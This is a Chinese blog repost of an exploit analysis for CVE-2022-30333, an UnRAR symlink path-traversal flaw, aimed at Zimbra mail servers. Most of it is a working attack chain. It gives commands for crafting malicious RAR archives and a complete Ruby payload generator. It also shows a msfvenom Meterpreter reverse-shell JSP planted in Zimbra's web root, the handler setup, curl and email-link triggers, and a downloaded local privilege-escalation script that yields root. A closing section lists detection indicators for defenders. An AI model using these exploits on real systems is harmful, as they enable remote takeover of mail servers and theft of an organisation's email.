CVE-2022-30333 poc&exp 漏洞分析

CVE-2022-30333 poc&exp 漏洞分析

漏洞描述

Linux 和 UNIX 上 6.12 之前的 RARLAB UnRAR 允许目录遍历在提取(也称为解包)操作期间写入文件,如创建 ~/.ssh/authorized_keys 文件。注意:WinRAR 和 Android RAR 不受影响。

2022 年 5 月 6 日,Rarlab 发布了6.17 版,该版本解决了CVE-2022-30333 ,这是Sonar向他们报告的路径遍历漏洞, Sonar发布了一篇关于它的文章。Sonar 特别指出Zimbra Collaboration Suite使用unrar易受攻击(特别amavisd是用于检查传入电子邮件中是否存在垃圾邮件和恶意软件的组件)。Zimbra在9.0.0 补丁 258.5.15补丁 32中通过unrar替换为7z

成功利用此unrar漏洞的攻击者可以作为zimbra执行用户(在 Zimbra 上,即用户)在目标文件系统的任何位置写入文件。在 Zimbra 上,我们成功地利用了这个漏洞来执行远程代码。请注意,服务器不一定需要面向 Internet 才能被利用,它只需要接收恶意电子邮件即可。

虽然其他服务可能使用易受攻击的版本unrar并应进行修补,但 Zimbra 是一个特别好的目标,因为正如我们将在下面讨论的那样,易受攻击的主机可以通过简单地接收电子邮件(无需用户交互)来利用。此外,Zimbra非常受欢迎(在撰写本文时,通过快速 Shodan 查询大约有 62,000 台面向 Internet 的主机)。最后,作为zimbra帐户成功获得访问权限的攻击者可以阅读组织的所有电子邮件。

受影响的软件

UnRAR 6.17 及更早版本受到影响,用于:

  • Zimbra 9.0.0 补丁 24 及更早版本
  • Zimbra 8.8.15 补丁 31 及更早版本
  • 可能有旧版本

由于仅通过发送电子邮件即可针对 Zimbra 进行利用,而且由于 Zimbra 在大多数使用它的组织中往往是有价值数据的金矿,Rapid7 认为修补此漏洞至关重要,而且这种利用很可能会发生。

技术分析

根据Sonar 的文章,CVE-2022-30333 中的核心问题是unrar如何处理符号链接。具体来说,它验证 Linux 符号链接不包含使用正斜杠字符 ( ../) 的路径遍历字符,然后将 Windows 符号链接(带有反斜杠字符)转换为 Linux。也就是说,它在转换数据之前执行安全检查。因此,恶意的 Windows 符号链接可以绕过 Linux 的保护并指向 Linux 文件系统上的任何位置。让我们看看这意味着什么!

构建恶意 .rar 文件

要生成恶意 .rar 文件,我们使用任何版本的 WinRAR(在 Windows 上)来压缩 Windows 符号链接:

C:\Users\ron>mklink testlink "..\..\..\..\..\..\..\..\etc\passwd"
symbolic link created for testlink <<===>> ..\..\..\..\..\..\..\..\etc\passwd

C:\Users\ron>"c:\Program Files\WinRAR\Rar.exe" a -ol test.rar testlink

RAR 6.11 x64   Copyright (c) 1993-2022 Alexander Roshal   3 Mar 2022
[...]

Adding    testlink                                                    OK
Done
CVE-2022-30333 poc&exp 漏洞分析

然后我们将我们创建的 .rar 文件复制到具有易受攻击版本的unrar的 Linux 主机,并检查它:

比如我们下载一个6.11版本的winrar
https://www.rarlab.com/rar/rarlinux-x32-611.tar.gz

$ strings test.rar
Rar!
testlink
"../../../../../../../../etc/passwd

懒得输命令的直接拖入https://www.ddosi.org/code/ 进行字符串查看也行.

CVE-2022-30333 poc&exp 漏洞分析

即使是 Windows,WinRAR 也会对正斜杠进行编码,因此我们将它们更改为反斜杠sed

$ sed 's|\.\./|..\\|g' < test.rar > test-fixed.rar

$ strings test-fixed.rar
Rar!
testlink
"..\..\..\..\..\..\..\..\etc/passwd

然后unrar在具有易受攻击版本的 Linux 上:

$ ../rar/unrar x ./test-fixed.rar

UNRAR 6.11 freeware      Copyright (c) 1993-2022 Alexander Roshal

[...]

Extracting from ./test-fixed.rar

Corrupt header is found
testlink - the file header is corrupt
Extracting  testlink                                                  OK
Total errors: 4

$ ls -l
total 2
-rw-r--r--. 1 ron games 110 Jul 15 10:06 test-fixed.rar
lrwxrwxrwx. 1 ron games  34 Jul 15 10:07 testlink -> ../../../../../../../../etc/passwd
-rwxrwxrwx. 1 ron games 110 Jul 15 10:02 test.rar

$ head -n1 testlink
root:x:0:0:root:/root:/bin/bash
CVE-2022-30333 poc&exp 漏洞分析

即使它打印错误,它仍然成功提取链接,并且链接确实指向目录结构之外!我们可以通过重新计算 .rar 文件的校验和来修复这些错误,但由于unrar似乎不介意这些错误,这将正常工作。.rar 实现也是非免费的,因此分发代码来重新计算校验和可能会有问题。

这就是创建恶意符号链接的方法。但是在本文的介绍中,我们提到了将文件写入文件系统。如何操作呢?

将文件写入文件系统

对于我们利用的下一部分,让我们看看如何将任意文件写入文件系统

首先,我们像以前一样创建和压缩符号链接,只是这次我们将它指向我们的用户帐户可以写入的地方:

C:\Users\ron\Desktop>mklink testlink "..\..\..\..\..\..\..\..\tmp\akbdemo.txt"
symbolic link created for testlink <<===>> ..\..\..\..\..\..\..\..\tmp\akbdemo.txt

C:\Users\ron\Desktop>"c:\Program Files\WinRAR\Rar.exe" a -ol test.rar testlink
[...]

然后我们创建第二个文件,其文件名与链接长度相同,但文件名不同,然后将其添加到存档中:

C:\Users\ron\Desktop>echo Hello, Internet! > evillink

C:\Users\ron\Desktop>"c:\Program Files\WinRAR\Rar.exe" a -ol test.rar evillink
[...]

我们可以检查存档以确保我们做得正确:

C:\Users\ron\Desktop>"c:\Program Files\WinRAR\Rar.exe" v test.rar

RAR 6.11 x64   Copyright (c) 1993-2022 Alexander Roshal   3 Mar 2022
Trial version             Type 'rar -?' for help

Archive: test.rar
Details: RAR 5

 Attributes      Size    Packed Ratio    Date    Time   Checksum  Name
----------- ---------  -------- ----- ---------- -----  --------  ----
    ..A....         0         0   0%  2022-07-15 10:16  00000000  testlink
    ..A....        19        19 100%  2022-07-15 10:19  F5466516  evillink
----------- ---------  -------- ----- ---------- -----  --------  ----
                   19        19 100%                              2
CVE-2022-30333 poc&exp 漏洞分析

然后,就像上次一样,我们将它复制到 Linux 并修复斜线。但这一次,我们还将文件名更改evillinktestlink存档中的。我们的目标是testlink通过提取第一个文件创建一个符号链接,然后在提取第二个文件时写入符号链接。这意味着我们需要存储两个具有相同名称的文件,这rar不允许我们这样做(如果我们尝试,第二个文件会覆盖第一个文件)。

以下是sed我们用来反转斜杠、更改文件名并验证文件的命令:

$ sed -e 's|\.\./|..\\|g' -e 's|evillink|testlink|' < test.rar > test-fixed.rar

$ strings test-fixed.rar
Rar!
testlink
'..\..\..\..\..\..\..\..\tmp/akbdemo.txt4@
testlink
Hello, Internet!

然后我们提取带有易受攻击版本的恶意 .rar 文件,unrar并确认它写入/tmp/akbdemo.txt

$ ../rar/unrar x test-fixed.rar

UNRAR 6.11 freeware      Copyright (c) 1993-2022 Alexander Roshal

[...]
Extracting  testlink                                                  OK
Corrupt header is found
testlink - the file header is corrupt
Extracting  testlink                                                  OK
Total errors: 6

$ ls -l
total 2
-rw-rw-r--. 1 ron games 175 Jul 15 10:23 test-fixed.rar
lrwxrwxrwx. 1 ron games  39 Jul 15 10:24 testlink -> ../../../../../../../../tmp/akbdemo.txt
-rwxrwxrwx. 1 ron games 175 Jul 15 10:20 test.rar

$ cat /tmp/akbdemo.txt
Hello, Internet!

然后,我们将任意文件写入文件系统上的任意位置!但是我们之前不是提到我们可以利用 Zimbra 吗?

利用 Zimbra

Zimbra 是一个一体化的电子邮件解决方案,它自动配置一个名为Amavis的工具来检查传入的电子邮件消息中是否存在垃圾邮件和(具有讽刺意味的)恶意软件。Amavis 非常可配置,但在修补之前,它用于unrar检查 .rar 文件:

ron@zimbra:~$ sudo cat /opt/zimbra/conf/amavisd.conf | grep \'rar\'
  ['rar',  \&do_unrar, ['unrar', 'rar'] ],
  ['exe',  \&do_executable, ['unrar','rar'], 'lha', ['unarj','arj'] ],

在最近的 Zimbra 补丁中,Amavis 使用了它7z

知道附加文件将使用 UnRARed unrar,我们将我们已经构建的恶意 .rar 文件通过电子邮件发送给服务器上的任何用户(我们没有设置真正的 Zimbra 系统,因此我们从服务器上的一个用户通过电子邮件发送给另一个用户) . 然后我们检查了/tmpZimbra 上的文件夹,就像在我们的本地测试中一样,/tmp/akbdemo.txt它确实是由以下人员创建和拥有的zimbra

ron@zimbra:~$ ls -l /tmp/akbdemo.txt
-rw-r----- 1 zimbra zimbra 19 Jul 15 17:19 /tmp/akbdemo.txt
ron@zimbra:~$ sudo cat /tmp/akbdemo.txt
Hello, Internet!

Amavis 日志显示了unrar我们之前看到的相同错误:

ron@zimbra:~$ sudo journalctl -t amavis | tail -n14
Jul 15 17:33:46 zimbra.example.org amavis[103991]: (103991-01) Checking: 9CcP4Rib32w2 ORIGINATING/MYNETS [10.0.0.154] <[email protected]> -> <[email protected]>
Jul 15 17:33:46 zimbra.example.org amavis[103991]: (103991-01) (!)do_unrar: can't parse info line for "" Corrupt header is found\n
Jul 15 17:33:46 zimbra.example.org amavis[103991]: (103991-01) (!)do_unrar: can't parse info line for "" testlink - the file header is corrupt\n
Jul 15 17:33:46 zimbra.example.org amavis[103991]: (103991-01) 5x162D0R55bZ(9CcP4Rib32w2) SEND from <[email protected]> -> <[email protected]>, [email protected] 250 2.0.0 from MTA(smtp:[127.0.0.1]:10025): 250 2.0.0 Ok: queued as 754D8C11CB

武器化这个漏洞仍然有些困难——我们无法覆盖文件,而且zimbra用户可以写入的位置数量实际上是相当有限的。话虽如此,我们确实可以使用 Metasploit 有效载荷成功地将其武器化。让我们看看如何!

武器化有效载荷

现在我们可以将文件写入文件系统,我们需要找到一种方法来植入后门。针对此漏洞的每个利用方式都会有所不同,但我们将重点关注 Zimbra 在其默认位置的安装。

我们可以写入 Zimbra 目录结构的位置数量是有限的,但我们可以使用find命令枚举它们:

$ sudo -u zimbra find /opt/zimbra/ -type d -writable
/opt/zimbra/log
/opt/zimbra/logger
/opt/zimbra/logger/db
/opt/zimbra/logger/db/data
/opt/zimbra/logger/db/data/rrds
/opt/zimbra/logger/db/work
/opt/zimbra/docs
[...]

我们试图找到可以编写 shellscript 的地方,例如/etc/profile.d和其他类似的地方,但找不到可写的地方。我们寻找其他文件的 Zimbra shellscriptssource,但也没有运气。我们查看了 overwriting ,但事实证明,由于调用/opt/zimbra/.bashrc方式的原因,该漏洞利用无法覆盖文件。

幸运的是(对于漏洞利用),我们确定 Zimbra 的 Web 根目录可由 Zimbra 用户(/opt/zimbra/jetty_base/webapps/...)写入,因此我们选择了它作为目标。

要创建有效负载,我们使用msfvenom并命名输出文件evillink(以匹配我们之前的示例)

$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.0.0.146 -f jsp -o evillink

然后,在 Windows 上,我们创建一个符号链接,指向我们想要放置后门(公共服务器)的位置,以及我们的有效负载(确保在后门之前压缩链接,因为我们需要在写入链接之前创建链接):

C:\Users\ron\Desktop>mklink testlink "..\..\..\..\..\..\..\..\..\..\..\..\opt\zimbra\jetty_base\webapps\zimbra\public\backdoor.jsp"
symbolic link created for testlink <<===>> ..\..\..\..\..\..\..\..\..\..\..\..\opt\zimbra\jetty_base\webapps\zimbra\public\backdoor.jsp

C:\Users\ron\Desktop>"c:\Program Files\WinRAR\Rar.exe" a -ol test.rar testlink evillink
[...]

然后,回到 Linux,我们像上次一样修复文件并将其通过电子邮件发送到 Zimbra 服务器上的任何帐户:

$ sed -e 's|\.\./|..\\|g' -e 's|evillink|testlink|' < test.rar > test-fixed.rar

<send test-fixed.rar as an email attachment>

通过电子邮件发送后,我们可以验证漏洞是否成功触发并提取了后门:

ron@zimbra:~$ ls -l /opt/zimbra/jetty_base/webapps/zimbra/public/backdoor.jsp
-rw-r----- 1 zimbra zimbra 1922 Jul 15 17:48 /opt/zimbra/jetty_base/webapps/zimbra/public/backdoor.jsp

使用msfconsole,我们可以启动我们的处理程序:

msf6 > use exploit/multi/handler

msf6 exploit(multi/handler) > set LHOST 10.0.0.146
LHOST => 10.0.0.146

msf6 exploit(multi/handler) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
PAYLOAD => linux/x64/meterpreter/reverse_tcp

msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.0.0.146:4444

然后使用curl触发后门:

$ curl -k 'https://10.0.0.154/public/backdoor.jsp'

或者,如果服务器仅是 Intranet,则向服务器上的任何用户发送包含后门链接的电子邮件(这将不可避免地需要用户交互,除非服务器全局允许显示图像):

<img src="https://10.0.0.154/public/backdoor">

-or-

<a href="https://10.0.0.154/public/backdoor">Click me!</a>

-or-

<a href="https://some-open-redictor/?url=https://10.0.0.154/public/backdoor">Click me!</a>

无论如何,一旦链接被加载,我们的有效载荷就会触发:

[...]
[*] Started reverse TCP handler on 10.0.0.146:4444
[*] Sending stage (3020772 bytes) to 10.0.0.154
[*] Meterpreter session 1 opened (10.0.0.146:4444 -> 10.0.0.154:42032) at 2022-07-15 10:56:46 -0700

meterpreter > getuid
Server username: zimbra

unrar cve-2022-30333 poc&exp

cve-2022-30333.rb

# Encoding: ASCII-8BIT

require 'zlib'

if ARGV.length != 2
  $stderr.puts "Usage: ruby ./create-payload <../../target/file> <filename to read payload from>"
  $stderr.puts
  $stderr.puts "Eg: $ ruby ./create-payload.rb '../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/backdoor.jsp' ./reverse-tcp-4444.jsp"
  exit
end

SYMLINK_LENGTH = 0x68
PAYLOAD_SYMLINK = (ARGV[0] + "\0").ljust(SYMLINK_LENGTH, "\0").gsub('/', '\\')
if PAYLOAD_SYMLINK.length != SYMLINK_LENGTH
  $stderr.puts "Payload symlink is invalid, probably too long!"
  exit
end

PAYLOAD_LENGTH = 0x1000
PAYLOAD_DATA = File.read(ARGV[1]).ljust(4096, "\0")
if PAYLOAD_DATA.length != PAYLOAD_LENGTH
  $stderr.puts "Payload data is invalid, probably too long!"
  exit
end

FILENAME_LENGTH = 0x0c
FILENAME = "DONTLOOKATME"

RAR = "\x52\x61\x72\x21\x1a\x07\x01\x00\xf3\xe1\x82\xeb\x0b\x01\x05\x07\x00\x06\x01\x01\x80\x80\x80\x00\x9e\xe2\xc4\xf5\x94\x01\x02\x03\x78\x00\x04\x00\xa0\x08\x00\x00\x00\x00\x80\x00\x00\x0c"
RAR.concat(FILENAME) # Symlink filename
RAR.concat("\x0a\x03\x02\xae\xf0\x37\x1c\x91\x98\xd8\x01\x6c\x05\x02\x00\x68")
RAR.concat(PAYLOAD_SYMLINK)
RAR.concat("\xf3\xa1\x93\x68\x28\x02\x03\x0b\x80\x20\x04\x80\x20\x20")
RAR.concat([Zlib::crc32(PAYLOAD_DATA)].pack('V'))
RAR.concat("\x80\x00\x00\x0c")
RAR.concat(FILENAME) # Data filename (same as symlink to overwrite it)
RAR.concat("\x0a\x03\x02\x00\x36\xe3\x00\x91\x98\xd8\x01")
RAR.concat(PAYLOAD_DATA)
RAR.concat("\x1d\x77\x56\x51\x03\x05\x04\x00")

print RAR

poc用法:

CVE-2022-30333 的概念证明 – 6.11 之前的 unRAR 版本中的路径遍历漏洞。我创建了这个作为 AttackerKB 文章的利用的演示,并希望尽快将其合并到 Metasploit 模块中!

基本上,您提供一个目标(包括路径遍历)和一些文件数据,该工具将生成一个 .rar 文件,该文件将提取该文件到该位置。最大文件长度为 104 字节,最大文件长度为 4096 字节。(这不是漏洞所固有的,它只是我在生成文件时选择的)。

例如,生成一个后门msfvenom

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.0.0.146 -f jsp -o payload.jsp

然后创建一个 .rar 文件,将 .jsp 植入有趣的地方:

ruby ./cve-2022-30333.rb '../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/backdoor.jsp' ./payload.jsp > file.rar

由于在 Windows 上生成 .rar 文件然后将其复制到 Linux 是一件痛苦的事情,因此我们将一个工具放在一起,该工具将生成一个 CVE-2022-30333 .rar 文件。我们将它与 Metasploit 有效负载一起使用,使用以下命令利用 Zimbra:

$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.0.0.146 -f jsp -o payload.jsp
$ ruby ./cve-2022-30333.rb '../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/backdoor.jsp' ./payload.jsp > file.rar

因为 .rar 文件是专有的,所以该文件只是播放“填充空白”并构建 .rar 文件。

侵害指标(IOCs)

如何检测针对 CVE-2022-30333 的利用尝试将因unrar使用方式而异。由于我们使用 Zimbra 作为易受攻击应用程序的代表性示例,因此我们将展示 Zimbra 的 IOC。

Zimbra 的 IOC

我们的漏洞利用将 .jsp 文件写入 Web 根目录;Zimbra 上任何 Web 目录中的新文件或异常文件都应被视为可疑文件 ( /opt/zimbra/jetty_base/webapps/**)。然而,攻击者可以很容易地删除它以掩盖他们的踪迹。

因为我们的概念证明没有修复校验和,所以我们可以在日志中看到校验和错误:

ron@zimbra:~$ sudo journalctl | grep -i unrar | tail
Jul 15 17:33:46 zimbra.example.org amavis[65117]: (65117-01) (!)do_unrar: can't parse info line for "" Corrupt header is found\n
Jul 15 17:33:46 zimbra.example.org amavis[65117]: (65117-01) (!)do_unrar: can't parse info line for "" testlink - the file header is corrupt\n
Jul 15 17:55:13 zimbra.example.org amavis[23049]: (23049-01) (!)do_unrar: can't parse info line for "" Corrupt header is found\n
Jul 15 17:55:13 zimbra.example.org amavis[23049]: (23049-01) (!)do_unrar: can't parse info line for "" testlink - the file header is corrupt\n
Jul 15 17:55:13 zimbra.example.org amavis[65117]: (65117-02) (!)do_unrar: can't parse info line for "" Corrupt header is found\n
Jul 15 17:55:13 zimbra.example.org amavis[65117]: (65117-02) (!)do_unrar: can't parse info line for "" testlink - the file header is corrupt\n
Jul 15 18:09:36 zimbra.example.org amavis[23049]: (23049-02) (!)do_unrar: can't parse info line for "" Corrupt header is found\n
Jul 15 18:09:36 zimbra.example.org amavis[23049]: (23049-02) (!)do_unrar: can't parse info line for "" testlink - the file header is corrupt\n
Jul 15 18:09:36 zimbra.example.org amavis[2718]: (02718-01) (!)do_unrar: can't parse info line for "" Corrupt header is found\n
Jul 15 18:09:36 zimbra.example.org amavis[2718]: (02718-01) (!)do_unrar: can't parse info line for "" testlink - the file header is corrupt\n

漏洞利用不一定会留下该证据。如果用户收到可疑的 .rar 文件,这也可能表明有利用企图;但是,我们也确定了目标用户不一定需要存在。即使是未送达的邮件也会被扫描

扫描的邮件暂时写入/opt/zimbra/data/amavisd/tmp,可搜索可疑 .rar 压缩包:

# fgrep -r 'application/x-rar' /opt/zimbra/data/amavisd/tmp/
/opt/zimbra/data/amavisd/tmp/amavis-20220715T173346-103991-x9QRhIEC/email.txt:Content-Type: application/x-rar; name=test-fixed.rar
/opt/zimbra/data/amavisd/tmp/amavis-20220715T173346-65117-FMBPrQEV/email.txt:Content-Type: application/x-rar; name=test-fixed.rar
/opt/zimbra/data/amavisd/tmp/amavis-20220715T175513-23049-oTr59qOe/email.txt:Content-Type: application/x-rar; name=test-fixed.rar
/opt/zimbra/data/amavisd/tmp/amavis-20220715T180936-02718-xaYD1dfZ/email.txt:Content-Type: application/x-rar; name=test-fixed.rar

/opt/zimbra/log/trace_log.<date>似乎也记录收到的 .rar 文件:

# fgrep -r '.rar'  /opt/zimbra/log
/opt/zimbra/log/trace_log.2022_07_14:17:46:30.107:qtp1381713434-18:https://10.0.0.154/service/home/~/?auth=co&loc=en_US&id=337&part=2&disp=a RESPONSE 200 application/x-rar; name=test.rar
/opt/zimbra/log/trace_log.2022_07_14:17:46:42.585:qtp1381713434-218:https://10.0.0.154/service/home/~/?auth=co&loc=en_US&id=337&part=2 RESPONSE 200 application/x-rar; name=test.rar
/opt/zimbra/log/trace_log.2022_07_14:17:49:14.298:qtp1381713434-267:https://10.0.0.154/service/home/~/?auth=co&loc=en_US&id=345&part=2&disp=a RESPONSE 200 application/x-rar; name=test.rar
/opt/zimbra/log/trace_log.2022_07_14:17:49:16.073:qtp1381713434-281:https://10.0.0.154/service/home/~/?auth=co&loc=en_US&id=345&part=2 RESPONSE 200 application/x-rar; name=test.rar
/opt/zimbra/log/trace_log.2022_07_14:17:52:42.029:qtp1381713434-292:https://10.0.0.154/service/home/~/?auth=co&loc=en_US&id=270&part=2&disp=a RESPONSE 200 application/x-rar; name=test.rar

最后,所有消息都已登录/opt/zimbra/store,并且可以搜索可疑的 .rar 文件:

# fgrep -r 'application/x-rar' /opt/zimbra/store
/opt/zimbra/store/0/3/msg/0/341-473.msg:Content-Type: application/x-rar; name=poc-fixed.rar
/opt/zimbra/store/0/3/msg/0/319-417.msg:Content-Type: application/x-rar; name=poc-fixed.rar
/opt/zimbra/store/0/3/msg/0/303-352.msg:Content-Type: application/x-rar; name=evil.rar
/opt/zimbra/store/0/3/msg/0/315-407.msg:Content-Type: application/x-rar; name=poc-fixed.rar
/opt/zimbra/store/0/3/msg/0/270-122.msg:Content-Type: application/x-rar; name=test.rar
/opt/zimbra/store/0/3/msg/0/296-336.msg:Content-Type: application/x-rar; name=evil.rar
/opt/zimbra/store/0/3/msg/0/364-528.msg:Content-Type: application/x-rar; name=poc-fixed.rar
/opt/zimbra/store/0/3/msg/0/348-489.msg:Content-Type: application/x-rar; name=poc-fixed.rar
/opt/zimbra/store/0/3/msg/0/378-856.msg:Content-Type: application/x-rar; name=test-fixed.rar
/opt/zimbra/store/0/3/msg/0/269-119.msg:Content-Type: application/x-rar; name=test.rar

除了系统日志,所有这些日志文件都归zimbra用户所有,因此可以被攻击者操纵。

还值得一提的是,同一版本的 Zimbra 存在权限提升错误提醒请谨慎在 Github 上运行随机脚本):

zimbra@zimbra:/tmp$ wget -q https://raw.githubusercontent.com/darrenmartyn/zimbra-slapper/main/slapper.sh

zimbra@zimbra:/tmp$ bash ./slapper.sh
~ slapper.sh - zimbra zmslapd local privesc exploit ~
[+] Setting up...
[+] Triggering our exploit...
[+] done!
[+] Cleaning up staged files...
[$] Pop root shell

# whoami
root

指导

Rapid7 建议将所有 Zimbra 安装修补到最新的分支。阻止到 Zimbra 服务器的互联网流量使利用变得更加困难,因为像我们这样的利用需要直接连接,但并非不可能;Intranet 浏览器很容易被诱骗发出请求。

参考

from

转载请注明出处及链接

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注